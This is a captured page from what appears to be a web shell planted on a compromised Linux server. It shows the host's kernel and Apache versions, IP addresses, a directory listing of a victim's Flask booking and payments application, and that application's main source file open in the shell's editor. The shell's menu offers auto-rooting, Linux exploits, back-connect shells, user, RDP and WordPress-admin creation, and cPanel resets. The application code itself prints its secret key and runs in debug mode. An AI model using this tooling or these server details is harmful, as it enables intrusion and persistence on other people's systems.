Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maracar.py
#/var/www/afra/py-maracar.afaa.website/maracar.py # python3 maracar.py import sys import os import logging from flask import Flask, send_from_directory, jsonify from flask_cors import CORS from werkzeug.wrappers import Request from werkzeug.wsgi import FileWrapper from logging.handlers import RotatingFileHandler from dotenv import load_dotenv # Load the .env file directly load_dotenv('/var/www/afra/py-maracar.afaa.website/.env') print("Loaded .env file") # Define the module path module_path = '/var/www/afra/py-maracar.afaa.website' # Add the module path to sys.path if not already included if module_path not in sys.path: sys.path.append(module_path) print("Module path added to sys.path:", module_path) else: print("Module path already in sys.path") # Attempt to list modules in the specified directory to confirm access try: module_files = os.listdir(module_path) print("Files in module path:", module_files) except Exception as e: print("Error accessing module path:", e) app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*"}}) # Setup logging log_dir = '/var/log/python' if not os.path.exists(log_dir): os.makedirs(log_dir) logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) file_handler = RotatingFileHandler(os.path.join(log_dir, 'flask_app.log'), maxBytes=1024 * 1024 * 5, backupCount=5) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') file_handler.setFormatter(formatter) logger.addHandler(file_handler) app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') print("Loaded SECRET_KEY:", app.config['SECRET_KEY']) app.logger.info('Flask application has started') app.config.from_object('config') # Or use app.config.from_pyfile('config.py') # Import routes after loading environment variables from check import check_login from check_env_3 import check_login_env_3 from check_tel import check_login_tel #register from register import handle_register from register_edit import handle_edit_profile #user from user import get_user from user_all import all_users from user_all_mlm import all_users_mlm, all_users_mlm_search # Import the Blueprint from user_routes from user_routes import user_bp from api_env_2_routes import api_env_2_bp from api_env_3_routes import api_env_3_bp from change_password import change_password from update_status import update_status from position_set import update_role from positions_list import get_positions from status_list import get_status from price_create import create_price, view_price, update_price, delete_price, delete_price_by_uuid, service_view, view_price_app #service & product from types_create import create_service_types, edit_service_types, delete_service_types, view_service_types from service import create_service, edit_service, delete_service, view_services from promotion_items import create_promotion_item, view_promotion_items, edit_promotion_item from promotions import create_promotion, view_promotions, edit_promotion, delete_promotion from Booking import create_booking, create_bookin_nulllogin, view_bookings, edit_booking from bookingdetail import create_booking_detail, view_booking_detail, view_booking_detail_price, view_booking_calendarView, view_booking_available, edit_booking_detail from booking_delete import delete_bookings_and_details from reviews import create_review, view_reviews, edit_review, delete_review, view_prices from jangwat_thai import search_jangwat, get_unique_jangwat, search_amphure from payments import create_payment, view_payment, update_payment from payments_payzen import payments_payzen from image_conn_data import create_img_conn_data from image_urls import upload_image_to_external_api, delete_image, view_images from user_mlm import add_user_to_mlm, update_user_team, delete_user_from_mlm, view_all_user_teams, view_org_chart from report_bookingoverview import view_booking_overview from sms_octopush import send_sms from createkeysecret import generate_secret_key from checkout import process_checkout from forgot import reset_password from queues import assign_queue, view_queues, update_queue from gen_uuid import generate_uuid, view_uuids, delete_uuid # report @app.route('/report/api/booking_overview', methods=['GET']) def booking_overview(): return view_booking_overview() #mlm @app.route('/mlm/api/insert', methods=['POST']) def handle_add_user_to_mlm(): return add_user_to_mlm() @app.route('/mlm/api/update', methods=['PUT']) def handle_update_user_team(): return update_user_team() @app.route('/mlm/api/delete', methods=['DELETE']) def handle_delete_user_from_mlm(): return delete_user_from_mlm() @app.route('/mlm/api/view', methods=['GET']) def handle_view_all_user_teams(): return view_all_user_teams() @app.route('/mlm/api/view_org', methods=['GET']) def handle_view_org_chart(): return view_org_chart() #login @app.route('/login/api/check', methods=['POST']) def login_check(): return check_login() #login For Tel @app.route('/login/api/check_tel', methods=['POST']) def login_check_tel(): return check_login_tel() #price @app.route('/price/api/create', methods=['POST']) def price_create(): return create_price() @app.route('/price/api/view', methods=['GET']) def price_view(): return view_price() @app.route('/price/api/view_app', methods=['GET']) def price_view_app(): return view_price_app() @app.route('/price/api/update', methods=['PUT']) def price_update(): return update_price() @app.route('/price/api/delete', methods=['DELETE']) def price_delete(): return delete_price() @app.route('/price/api/delete_uuid', methods=['DELETE']) def price_delete_uuid(): return delete_price_by_uuid() @app.route('/price/api/price_service', methods=['GET']) def price_service_details(): return service_view() #register # Register the Blueprint with the Flask app app.register_blueprint(user_bp) app.register_blueprint(api_env_2_bp) app.register_blueprint(api_env_3_bp) @app.route('/register/api/edit', methods=['GET', 'POST', 'PUT']) def handle_editprofile(): return handle_edit_profile() @app.route('/register/api/change_password', methods=['PUT']) def changepassword(): return change_password() @app.route('/register/api/update_status', methods=['PUT']) def updatestatus(): return update_status() @app.route('/register/api/position_set', methods=['PUT']) def updaterole(): return update_role() @app.route('/register/api/position_list', methods=['GET']) def getpositions(): return get_positions() @app.route('/register/api/status_list', methods=['GET']) def getstatus(): return get_status() #services (1) # ***** Start API Set types ***** @app.route('/services/api/types_create', methods=['POST']) def create_types(): return create_service_types() @app.route('/services/api/types_edit', methods=['PUT']) def edit_types(): return edit_service_types() @app.route('/services/api/types_del', methods=['DELETE']) def delete_types(): return delete_service_types() @app.route('/services/api/types_view', methods=['GET']) def view_types(): return view_service_types() # ***** END API Set types ***** # ***** Start API Set Service ***** # Decorator-based routing for service views @app.route('/services/api/view', methods=['GET']) def service_view(): return view_services() # Decorator-based routing for service creation @app.route('/services/api/create', methods=['POST']) def service_create(): return create_service() # Decorator-based routing for service editing @app.route('/services/api/edit', methods=['PUT']) def service_edit(): return edit_service() # Decorator-based routing for service deletion @app.route('/services/api/delete', methods=['DELETE']) def service_delete(): return delete_service() # ***** END API Set Service ***** #booking @app.route('/booking/api/create', methods=['POST']) def createbooking(): return create_booking() @app.route('/booking/api/create_nulllogin', methods=['POST']) def createbooking_nulllogin(): return create_bookin_nulllogin() @app.route('/booking/api/view', methods=['GET']) def viewbookings(): return view_bookings() @app.route('/booking/api/edit', methods=['PUT']) def editbooking(): return edit_booking() #booking_detail @app.route('/booking/api/detail_create', methods=['POST']) def create_bookingdetail(): return create_booking_detail() @app.route('/booking/api/detail_view', methods=['GET']) def view_bookingdetail(): return view_booking_detail() @app.route('/booking/api/detail_view_price', methods=['GET']) def view_bookingdetail_price(): return view_booking_detail_price() @app.route('/booking/api/detail_calendarView', methods=['GET']) def view_bookingcalendarView(): return view_booking_calendarView() @app.route('/booking/api/available', methods=['GET']) def view_bookingavailable(): return view_booking_available() @app.route('/booking/api/detail_edit', methods=['PUT']) def edit_bookingdetail(): return edit_booking_detail() @app.route('/booking/api/delete', methods=['DELETE']) def delete_bookingsdetails(): return delete_bookings_and_details() #image_urls @app.route('/img/api/create', methods=['POST']) def createimg_conndata(): return create_img_conn_data() @app.route('/img/api/upload', methods=['POST']) def uploadimage_to_external_api(): return upload_image_to_external_api() @app.route('/img/api/delete', methods=['DELETE']) def deleteimage(): return delete_image() @app.route('/img/api/view', methods=['GET']) def viewimages(): return view_images() #SMS @app.route('/sms/api/octopush', methods=['POST']) def sendsms(): return send_sms() #secret_key @app.route('/generate/api/secret_key') def generate_secretkey(): return generate_secret_key() #checkout @app.route('/logout/api/checkout', methods=['POST']) def processcheckout(): return process_checkout() #forgot @app.route('/forgot/api/reset', methods=['POST']) def resetpassword(): return reset_password() #gen_uuid @app.route('/generate/api/uuid_create', methods=['POST']) def generateuuid(): return generate_uuid() @app.route('/generate/api/uuid_view', methods=['GET']) def viewuuids(): return view_uuids() @app.route('/generate/api/uuid_delete', methods=['DELETE']) def deleteuuid(): return delete_uuid() #promotions @app.route('/promotion_items/api/create', methods=['POST']) def create_promotionitem(): return create_promotion_item() @app.route('/promotion_items/api/view', methods=['GET']) def view_promotionitems(): return view_promotion_items() @app.route('/promotion_items/api/edit', methods=['PUT']) def edit_promotionitem(): return edit_promotion_item() @app.route('/promotions/api/create', methods=['POST']) def createpromotion(): return create_promotion() @app.route('/promotions/api/view', methods=['GET']) def viewpromotions(): return view_promotions() @app.route('/promotions/api/edit', methods=['PUT']) def editpromotion(): return edit_promotion() @app.route('/promotions/api/delete', methods=['DELETE']) def deletepromotion(): return delete_promotion() #payments @app.route('/payments/api/create', methods=['POST']) def createpayment(): return create_payment() @app.route('/payments/api/view', methods=['GET']) def viewpayment(): return view_payment() @app.route('/payments/api/update', methods=['PUT']) def updatepayment(): return update_payment() @app.route('/payments/api/payzen', methods=['POST']) def paymentspayzen(): return payments_payzen() #jangwat_thai @app.route('/api/jangwat/search', methods=['GET']) def searchjangwat(): return search_jangwat() @app.route('/api/amphure/search', methods=['GET']) def searchamphure(): return search_amphure() @app.route('/api/jangwat/jangwat', methods=['GET']) def get_uniquejangwat(): return get_unique_jangwat() #reviews @app.route('/reviews/api/create', methods=['POST']) def createreview(): return create_review() @app.route('/reviews/api/view', methods=['GET']) def viewreviews(): return view_reviews() @app.route('/reviews/api/edit', methods=['PUT']) def editreview(): return edit_review() @app.route('/reviews/api/delete', methods=['DELETE']) def deletereview(): return delete_review() #queues @app.route('/queues/api/assign', methods=['POST']) def assignqueue(): return assign_queue() @app.route('/queues/api/view', methods=['GET']) def viewqueues(): return view_queues() @app.route('/queues/api/update', methods=['PUT']) def updatequeue(): return update_queue() def application(environ, start_response): request = Request(environ) if request.path.startswith('/maracar'): return handle_spatime_admin(environ, start_response) else: return not_found(environ, start_response) @app.route('/') def home(): html_file_path = '/var/www/afra/py-maracar.afaa.website' return send_from_directory(html_file_path, 'index.html') @app.route('/maracar') def maracar(): return "Welcome to the Flask App! maracar" def not_found(environ, start_response): start_response('404 Not Found maracar', [('Content-Type', 'text/plain')]) return [b"Not Found maracar"] @app.errorhandler(404) def page_not_found(e): app.logger.error(f"404 error: {e}") return "404 Not Found", 404 @app.errorhandler(500) def internal_error(e): app.logger.error(f"500 error: {e}") return "500 Internal Server Error", 500 # Updated function to serve index.html def handle_spatime_admin(environ, start_response): try: # Define the path to your index.html html_file_path = '/var/www/afra/py-maracar.afaa.website/index.html' # Check if the file exists if os.path.exists(html_file_path): # Open the file for reading and wrap in a FileWrapper (more efficient for large files) file = open(html_file_path, 'rb') wrapper = FileWrapper(file) # Start the response with a 200 status and appropriate headers start_response('200 OK', [('Content-Type', 'text/html')]) # Return the file contents return wrapper else: # If the file does not exist, return a 404 Not Found start_response('404 Not Found maracar', [('Content-Type', 'text/plain')]) return [b"404 Not Found"] except Exception as e: # For debugging purposes, print out the exception print(f"An error occurred: {e}") start_response('500 Internal Server Error', [('Content-Type', 'text/plain')]) return [b"Internal Server Error"] if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=420) # if __name__ == '__main__': # app.run() else: # Needed when running under mod_wsgi application = app
Close